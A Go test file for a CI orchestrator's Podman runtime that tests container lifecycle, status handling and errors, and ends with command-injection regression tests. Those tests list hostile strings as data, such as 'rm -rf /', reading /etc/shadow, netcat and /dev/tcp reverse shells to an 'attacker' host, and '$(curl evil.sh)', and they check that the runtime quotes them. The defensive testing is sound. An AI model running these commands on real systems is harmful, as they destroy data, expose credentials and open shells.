package runtime import ( "context" "errors" "strings" "testing" "time" "git.cloudinit.dev/coreci/orca/internal/jobspec" "git.cloudinit.dev/coreci/orca/internal/sshpush" ) // allocNoImage returns an alloc whose Spec has a Runtime block with a // command but no image. func allocNoImage(runtime string) *Alloc { return &Alloc{ ID: "x", Runtime: runtime, Spec: &jobspec.WorkloadSpec{ Runtime: &jobspec.RuntimeBlock{Command: "/bin/true"}, }, } } // TestPodmanRuntime_HappyPath wires a fake server that responds to // podman pull/run/stop/rm/inspect and verifies the full lifecycle. func TestPodmanRuntime_HappyPath(t *testing.T) { srv := newFakeServer(t) defer srv.close() const cid = "abc123def456" srv.setHandler("podman pull", func(cmd string) ([]byte, int) { return nil, 0 }) srv.setHandler("podman run", func(cmd string) ([]byte, int) { return []byte(cid + "\n"), 0 }) srv.setHandler("podman stop", func(cmd string) ([]byte, int) { return nil, 0 }) srv.setHandler("podman rm", func(cmd string) ([]byte, int) { return nil, 0 }) srv.setHandler("podman inspect", func(cmd string) ([]byte, int) { return []byte("true\n"), 0 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "docker.io/library/alpine:latest", "sleep 30", srv.addr()) ctx, cancel := withTimeout(10 * time.Second) defer cancel() if err := p.Prepare(ctx, a); err != nil { t.Fatalf("Prepare: %v", err) } pid, err := p.Start(ctx, a) if err != nil { t.Fatalf("Start: %v", err) } if pid <= 0 { t.Fatalf("pid = %d, want > 0", pid) } st, err := p.Status(ctx, a) if err != nil { t.Fatalf("Status: %v", err) } if st != StateRunning { t.Errorf("Status = %q, want running", st) } if err := p.Stop(ctx, a); err != nil { t.Fatalf("Stop: %v", err) } } // TestPodmanRuntime_StatusFalse verifies Status returns stopped when // the container reports running=false. func TestPodmanRuntime_StatusFalse(t *testing.T) { srv := newFakeServer(t) defer srv.close() srv.setHandler("podman inspect", func(cmd string) ([]byte, int) { return []byte("false\n"), 0 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) st, err := p.Status(context.Background(), a) if err != nil { t.Fatalf("Status: %v", err) } if st != StateStopped { t.Errorf("Status = %q, want stopped", st) } } // TestPodmanRuntime_StatusBadOutput verifies Status returns failed on // unexpected inspect output. func TestPodmanRuntime_StatusBadOutput(t *testing.T) { srv := newFakeServer(t) defer srv.close() srv.setHandler("podman inspect", func(cmd string) ([]byte, int) { return []byte("garbage\n"), 0 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) if _, err := p.Status(context.Background(), a); err == nil { t.Error("Status with bad output should error") } } // TestPodmanRuntime_PrepareNoImage verifies Prepare errors when the // alloc has no image. func TestPodmanRuntime_PrepareNoImage(t *testing.T) { p := NewPodmanRuntime(nil) a := allocNoImage("podman") if err := p.Prepare(context.Background(), a); err == nil { t.Error("Prepare with no image should error") } } // TestPodmanRuntime_PrepareTransportError verifies Prepare propagates a // transport error (podman pull fails). func TestPodmanRuntime_PrepareTransportError(t *testing.T) { srv := newFakeServer(t) defer srv.close() srv.setHandler("podman pull", func(cmd string) ([]byte, int) { return []byte("manifest unknown\n"), 2 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) if err := p.Prepare(context.Background(), a); err == nil { t.Error("Prepare with failed pull should error") } } // TestPodmanRuntime_StartNoImage verifies Start errors with no image. func TestPodmanRuntime_StartNoImage(t *testing.T) { p := NewPodmanRuntime(nil) a := allocNoImage("podman") if _, err := p.Start(context.Background(), a); err == nil { t.Error("Start with no image should error") } } // TestPodmanRuntime_StopTransportError verifies Stop propagates errors. func TestPodmanRuntime_StopTransportError(t *testing.T) { srv := newFakeServer(t) defer srv.close() srv.setHandler("podman stop", func(cmd string) ([]byte, int) { return []byte("no such container\n"), 1 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) if err := p.Stop(context.Background(), a); err == nil { t.Error("Stop with missing container should error") } } // TestPodmanRuntime_StatusInspectError verifies Status returns failed // when inspect itself errors. func TestPodmanRuntime_StatusInspectError(t *testing.T) { srv := newFakeServer(t) defer srv.close() srv.setHandler("podman inspect", func(cmd string) ([]byte, int) { return []byte("no such container\n"), 1 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) st, err := p.Status(context.Background(), a) if err == nil { t.Error("Status with inspect error should error") } if st != StateFailed { t.Errorf("Status = %q, want failed", st) } } // TestPodmanCidToPID verifies the synthetic PID derivation. func TestPodmanCidToPID(t *testing.T) { if got := podmanCidToPID(""); got != 1 { t.Errorf("empty cid -> %d, want 1", got) } if got := podmanCidToPID("a"); got <= 0 { t.Errorf("single hex -> %d, want > 0", got) } if got := podmanCidToPID("abcd"); got <= 0 { t.Errorf("abcd -> %d, want > 0", got) } // non-hex chars fall through to 0 contributions but still yield // a positive result (>= 1 by the floor). if got := podmanCidToPID("xyz123"); got <= 0 { t.Errorf("xyz123 -> %d, want > 0", got) } } // TestContainerNameSanitization verifies the container-name sanitizer // uppercases and strips disallowed characters. func TestContainerNameSanitization(t *testing.T) { a := &Alloc{ID: "ALLOC_1.2.3", Spec: nil, Runtime: "podman"} got := containerName(a) if !strings.HasPrefix(got, "orca-") { t.Errorf("containerName = %q, want orca- prefix", got) } if strings.Contains(got, ".") { t.Errorf("containerName = %q, should not contain '.'", got) } } // TestPodmanRuntime_DialError verifies Prepare fails fast when the // peer is unreachable (no fake server). func TestPodmanRuntime_DialError(t *testing.T) { srv := newFakeServer(t) // close immediately so dial fails. srv.close() tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", "sleep 1", srv.addr()) if err := p.Prepare(context.Background(), a); err == nil { t.Error("Prepare against dead peer should error") } else if !errors.Is(err, sshpush.ErrTransient) && !errors.Is(err, sshpush.ErrPermanent) { // acceptable: either transient (retry exhausted) or permanent. t.Logf("Prepare err (acceptable): %v", err) } } // --- REQ-119 / F3 command injection regression tests --- // TestPodmanRuntime_CommandInjection verifies that a jobspec command // containing shell metacharacters is shell-quoted, not interpreted by // the remote shell. The fake server captures the exact command string // and we assert the metacharacters are wrapped in single quotes. func TestPodmanRuntime_CommandInjection(t *testing.T) { injections := []string{ "sleep 1; rm -rf /", "sleep 1 && cat /etc/shadow", "sleep 1 | nc attacker 4444", "sleep 1 $(curl evil.sh)", "sleep 1 `whoami`", "sleep 1\nwhoami", "sleep 1; echo $IFS", "sleep 1 > /etc/cron.d/pwn", "sleep 1 < /dev/tcp/attacker/4444", "sleep 1; (id)", } for _, inj := range injections { t.Run(inj, func(t *testing.T) { srv := newFakeServer(t) defer srv.close() var captured string srv.setHandler("podman run", func(cmd string) ([]byte, int) { captured = cmd return []byte("abc123def456\n"), 0 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img", inj, srv.addr()) if _, err := p.Start(context.Background(), a); err != nil { t.Fatalf("Start: %v", err) } // The injection string must appear shell-quoted (wrapped in // single quotes, embedded quotes escaped) — NOT bare in // the command. We assert the dangerous characters don't // appear unquoted after the image argument. if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") { t.Errorf("injection not shell-quoted in command:\n%s", captured) } // The raw unquoted injection must NOT appear as a bare // command token (i.e., no `; rm -rf /` outside quotes). // A robust check: the command should not contain the raw // injection string as an unquoted substring. Since the // quoted form wraps it, the raw form only appears inside // the quotes. bare := strings.ReplaceAll(inj, "'", "'\\''") quoted := "'" + bare + "'" // Remove the quoted occurrence; if the bare injection // still remains, it was emitted unquoted somewhere. withoutQuoted := strings.Replace(captured, quoted, "", 1) if strings.Contains(withoutQuoted, inj) { t.Errorf("injection appears unquoted in command:\n%s", captured) } }) } } // TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted // (double-quoted via %q), so an image with shell metacharacters cannot // break out. The image is safe-by-%q, but we assert it stays quoted. func TestPodmanRuntime_ImageNameInjection(t *testing.T) { srv := newFakeServer(t) defer srv.close() var captured string srv.setHandler("podman pull", func(cmd string) ([]byte, int) { captured = cmd return nil, 0 }) tr := realTransport(t, srv) defer tr.Close() p := NewPodmanRuntime(tr) a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr()) _ = p.Prepare(context.Background(), a) // %q double-quotes the image, so `; rm -rf /` is inside quotes. if !strings.Contains(captured, "\"img; rm -rf /\"") { t.Errorf("image not pct-q-quoted in pull:\n%s", captured) } }